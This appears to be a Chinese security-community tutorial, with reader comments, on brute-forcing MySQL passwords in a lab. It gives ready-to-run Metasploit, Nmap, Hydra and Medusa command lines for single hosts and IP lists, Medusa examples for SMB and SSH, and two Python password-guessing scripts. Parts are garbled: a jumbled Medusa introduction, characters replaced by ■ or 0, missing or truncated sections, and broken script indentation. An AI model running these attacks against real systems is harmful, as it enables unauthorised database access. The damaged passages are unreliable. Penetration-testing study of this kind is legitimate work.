

对于MySQL数据库渗透来说，获取其口令至关重要，一般来讲数据库不会提供对外连接，安全严格的将会限制固有IP和本机登录数据库，但渗透就是发现各种例外！抱着研究

1.测试环境：Windows 2003 Server + PHP+MySQL5.0.90-community-nt

2.账号设置：允许远程访问也即设置host为%，同时密码设置为11111111。

3.测试机：kali linux2017和windows 2003

## 1.1 Metasploit扫描MySQL口令

有关利用Metasploit扫描详细利用可以参考本人网上发布的《利用Msf辅助模块检测和渗透Mysql》，这里主要是介绍如何扫描MySQL口令。

### 1.启动Metasploit命令

在kali终端下输入：msfconsole

### 2. 密码扫描auxiliary/scanner/mysql/mysql\_login模块

#### (1)单一模式扫描登录验证

```
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.157.130
set username root
set password 11111111
run
```

#### (2)使用字典对某个IP地址进行暴力破解

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.130
set pass_file "/root/top10000pwd.txt"
set username root
run
```

测试效果如图1所示，注意如果字典过长，其扫描时间也会相应较长，也即等待时间会较长，在扫描结果汇总可以看到-+符号，-表示未成功，绿色的+表示口令破解成功，并RHOSTS 192.168.157.1-254即可。

图1使用字典扫描

### 3.密码验证

```
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.130
set password 11111111
set username root
run
```

该模块主要使用设置的用户名和密码对主机进行登录验证，查询版本信息，如图2所示。

图2登录验证

在msf下面有关更多的mysql使用，可以使用search mysql命令，然后选择对应的模块，通过info模块查看，通过set进行参数设置，通过run进行测试。

## 1.2NMAP扫描MySQL口令

### 1.查看Nmap下有关mysql利用脚本

```
ls -al /usr/share/nmap/scripts/mysql*
/usr/share/nmap/scripts/mysql-audit.nse
/usr/share/nmap/scripts/mysql-brute.nse
/usr/share/nmap/scripts/mysql-databases.nse
/usr/share/nmap/scripts/mysql-dump-hashes.nse
/usr/share/nmap/scripts/mysql-empty-password.nse
/usr/share/nmap/scripts/mysql-enum.nse
/usr/share/nmap/scripts/mysql-info.nse
/usr/share/nmap/scripts/mysql-query.nse
/usr/share/nmap/scripts/mysql-users.nse
/usr/share/nmap/scripts/mysql-variables.nse
```

/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse

可以看到有多个mysql相关脚本，有审计，暴力破解，hash、空密码扫描、枚举、基本信息、查询、变量等。其中/usr/share/nmap/scripts/mysql-brute.nse和/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse

1.使用nmap扫描确认端口信息  
使用命令nmap -p 3306 192.168.157.130进行扫描，如图3所示，可以看到192.168.157.130计算机端口开放3306。

图3扫描端口

2.对开放3306端口的数据库进行扫描破解

(1) 扫描空口令

nmap -p3306 --script=mysql-empty-password.nse 192.168.137.130

(2) 扫描已知口令

nmap -sV --script=mysql-databases --script-args dbuser=root,dbpass=11111111 192.168.195.130

nmap扫描端口和banner标识效果比较好，对空口令的支持效果也可以，暴力破解比较坑。更多nmap扫描脚本参数详细情况，请参考：

<https://nmap.org/nsedoc/lib/brute.html#script-args>

### 1.3使用xHydra和Hydra破解MySQL口令

Hydra是linux下面一款非常厉害的密码暴力破解工具，支持多种协议破解，一般是在命令行下进行破解，在kali2017版本中已经有图形界面版xHydra。下载地址：<https://www.kali.org/tools/hydra/>

#### 1.使用xHydra暴力破解MySQL密码

(1) 设置目标地址和需要破解的协议

在kali中单击“Application”-“05-Password Attacks”-“Online Attacks”-“hydra-gtk”打开Hydra图形界面版，如图4所示，在Target中设置单一目标（Single Target）：192.168.157.130，如果是多个目标，这可以保存在文本文件中，通过Target List进行设置。在其Protocol中选择Mysql协议。

图4设置目标地址

(2) 设置密码或者密码文件

单击“Password”标签，在Username中输入root或者其它账号名称，或者选择用户名列表（Username

List），如图5所示。跟username设置一样，设置用户密码，还可以设置以用户名密码进行登录，以空密码进行登录，以密码反转进行登录等。

图5设置用户名及密码

(3) 开始暴力破解

在开始暴力破解前，还可以设置线程数，在“Tuning”中设置，如果采用默认，则单击“start”标签，如图6所示，单击start按钮，开始进行暴力破解，如果暴力破解成功，则会显示成功。

图6破解成功

#### 2.使用hydra进行暴力破解

(1) 单一用户名和密码进行验证破解

已知目标root账号，密码11111111，主机地址192.168.157.130，则使用如下命令即可：

hydra -l root -p11111111 -t 16 192.168.157.130 mysql

如图7所示，破解成功后，会以绿色字体显示破解结果。

图7使用hydra破解mysql密码

(2) 使用字典破解单一用户

hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql

跟上面类似，使用字典则使用大写的P，使用密码则是小写p后更密码值。如果是多个用户列表，则是使用L filename，例如L /root/user.txt，“-t”表示线程数。

(3) 对多个IP地址进行root账号密码破解

密码文件为/root/newpass.txt，目标文件/root/ip.txt，登录账号为root，则命令为：

hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql

如图8所示，在本例中对192.168.157.130、192.168.157.131、192.168.157.132进行暴力破解，由于192.168.157.131和192.168.157.132未提供3306服务，所以显示无法连接。

图8破解多个目标MySQL密码

### 1.4使用hscan扫描MySQL口令

Hscan是一款老牌的黑客攻击，其使用很简单，需要通过menu去设置扫描参数（parameter）startip：192.168.157.1，endip：192.168.157.254，然后选择模块（Module）。

图9使用hscan扫描MySQL弱口令

### 1.5使用xsqlscanner扫描MySQL口令

软件需要.net framework

4.0支持，xsqlscanner是国外开发的一款软件，如图10所示，需要设置IP地址和SQL审计方法、服务器类型和文件选项，经过实际测试，效果并不理想，扫描过程出现程序无响应。

图10使用xsqlscanner扫描MySQL口令

Bruter是一款支持MySQL、MySQL、SSH等协议的暴力破解工具，其设置非常简单，需要设置目标，协议，端口，用户，字典，如图11所示，进行设置，然后单击开始即可

## 1.7使用Medusa(美杜莎)MySQL口令

**Medusa** (**meduse**) medusa Medusa hydra medusa medusa h

## 2.用法

- h [TEXT] 目标主机名称或者IP地址
- H [FILE] 包含目标主机名称或者IP地址文件
- u [TEXT] 测试的用户名
- U [FILE] 包含测试的用户名文件
- p [TEXT] 测试的密码
- P [FILE] 包含测试的密码文件
- C [FILE] 组合条目文件
- O [FILE] 日志信息文件
- e [n/s/ns] n代表空密码，s代表为密码与用户名相同
- M [TEXT] 模块执行名称
- m [TEXT] 传递参数到模块
- d 显示所有的模块名称
- n [NUM] 使用非默认Tcp端口
- s 启用SSL
- r [NUM] 重试间隔时间，默认为3秒
- t [NUM] 设定线程数量
- T 同时测试的主机总数
- L 并行化，每个用户使用一个线程
- f 在任何主机上找到第一个账号/密码后，停止破解
- F 在任何主机上找到第一个有效的用户名/密码后停止审计。
- q 显示模块的使用信息
- v [NUM] 详细级别 (0-6)
- w [NUM] 错误调试级别 (0-10)
- V 显示版本
- Z [TEXT] 继续扫描上一次

(1) 使用字典文件破解192.168.17.129主机root账号密码

```
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
```

参数-M表示MySQL数据库密码破解，-h指定主机IP地址或者名称，-e ns破解空口令和主机名称相同的用户密码，-F破解成功后立刻停止，-u指定root账号，-P指定密码文件为/root/mypass.txt，破解效果如图12所示。

(2) 破解IP地址段MySQL密码

```
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt
```

在前面的基础上，更改前面的密码为12345678：

```
GRANT USAGE,SELECT, INSERT, UPDATE, DELETE, SHOW VIEW ,CREATE TEMPORARY TABLES,EXECUTE ON . TO root@'192.168.17.144' IDENTIFIED BY '12345678';  
FLUSH PRIVILEGES;
```

再次进行测试，效果如图13所示。

#### 4.破解其它密码

```
(1) 破解smbnt
medusa -M smbnt -h 192.168.17.129 -u administrator -P /root/mypass.txt -e ns -F

(2) 破解ssh密码
medusa -M ssh -h 192.168.17.129 -u root -P /root/mypass.txt -e ns -F
```

## 1. Python版本Mysql爆破简单密码小脚本

<https://pypi.python.org/packages/a5/e9/51b544da85a36a68debe7a7091f068d802fc515a3a202652828c73453cad/MySQL-python-1.2.5.zip>

```
import MySQLdb

#coding=gbk

#■■■IP mysql■■■■■■■■3360■■■■■■■

mysql_username = ('root','test', 'admin', 'user')#■■■■■

common_weak_password = (' ','123456','test','root','admin','user')#■■■■■■■■■


success = False

host = "127.0.0.1"#■■■IP■■■

port = 3306

for username in mysql_username:

    for password in common_weak_password:

        try:

            db = MySQLdb.connect(host, username, password)

            success = True

            if success:

                print username, password

        except Exception, e:

            pass
```

使用本工具前，请确保脚本同目录下存在user.txt,pass.txt两个文件，用法：

程序需要MySQLdb支持，下载地址<http://www.codegood.com/download/11/>

```
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/10
# Created by 00000
# 000 http://www.waitalone.cn/
import os, sys, re, socket, time

try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb000000,0000000000'
    print '[!] http://www.codegood.com/archives/129'
    exit()

def usage():
    print '+' + '-' * 50 + '+'
    print '\t Python MySQL0000000000'
    print '\t Blog0http://www.waitalone.cn/'
    print '\t\t Code BY 00000'
    print '\t\t Time02014-11-10'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "000: " + os.path.basename(sys.argv[0]) + " 00000ip/domain 00 000 000000 00000"
        print "000: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn 3306 test user.txt pass.txt"
        sys.exit()

def mysql_brute(user, password):
    "mysql000000000"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 00000', user, password
        result.append('00000' + user + "\t0000" + password)
    except KeyboardInterrupt:
```

```

        print '■■,■■■■■■,■■■■■■■■!'
        exit()
except MySQLdb.Error, msg:
    # print '■■■■■■: ', msg
    pass
finally:
    if db:
        db.close()

if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] ■ ■■%s \n' % sys.argv[1]
    print '[+] ■■■■%d ■\n' % len(userlist)
    print '[+] ■ ■■%d ■\n' % len(passlist)
    print '[!] ■■■■■■,■■■■.....\n'
    result = []
    for x in userlist:
        for j in passlist:
            mysql_brute(x, j)
    if len(result) != 0:
        print '[+] ■■■■■,MySQL■■■■■■!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] ■■■■■,MySQL■■■■■■!\n'
    print '[+] ■■■■■■■■ %d ■' % (time.time() - start_time)

```

## 1.9扫描总结

### 1.好用的工具

通过实际测试MSF、xHydra、Hydra、Bruter、Medusa都能很好的对MySQL口令进行暴力破解，其中Msf平台具有综合功能，在暴力破解成功后可以继续渗透。xHydra

### 2.工具命令总结

#### (1)Msf单一模式扫描登录验证

```

use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.157.130
set username root
set password 11111111
run

```

#### (2) Msf使用字典对某个IP地址进行暴力破解

```

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.130
set pass_file "/root/top10000pwd.txt"
set username root
run

```

#### (3) msf密码验证

```

use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.130
set password 11111111
set username root
run

```

#### (4) hydra单一用户名和密码进行验证破解

```
hydra -l root -p11111111 -t 16 192.168.157.130 mysql
```

#### (5) hydra使用字典破解单一用户

```
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql
```

#### (6) hydra对多个IP地址进行root账号密码破解

```
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql
```

#### (7) medusa使用字典文件破解192.168.17.129主机root账号密码

```
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
( 8 ) medusa破解IP地址段MySQL密码
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt
```

点击收藏 | 0 关注 | 1  
[上一篇：CONSENSUS ASSESSM...](#) [下一篇：渗透技巧——从Github下载文件...](#)

1. 4 条回复



[cike](#) 2017-12-19 17:40:58

很不错的介绍，但是感觉对于弱口令来说 一个hydra或者美杜莎就足够了

0 回复Ta



[胖丫丫201811](#) 2018-12-17 09:09:29

你好  
我之前用hydra尝试对我本机上安装的mysql进行爆破，但是遇到了一个问题就是尝试爆破一定次数之后攻击方就被mysql服务器锁住了，查了一下是max\_connect\_error

0 回复Ta



[52833\\*\\*\\*\\*@qq.com](#) 2019-03-11 13:19:13

[@胖丫丫201811](#) 这个是mysql设置问题 mysql每一次连接会开放一个端口  
然后进行轮询,程序如果没有调用断开函数的话会一直轮询直到超时。可以设置mysql的最大连接数量。

0 回复Ta



[sunozil](#) 2019-05-28 11:57:57

我在使用hydra破译mysql密码时遇到一个问题 hydra -L /user.txt -P /pass.txt XXXX mysql 我在文件里输入了正确的用户名密码 但是显示 "1 of 1 target completed, 0 valid password found"

0 回复Ta

---

[登录](#) 后跟帖

[先知社区](#)

---

[现在登录](#)

[热门节点](#)

---

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)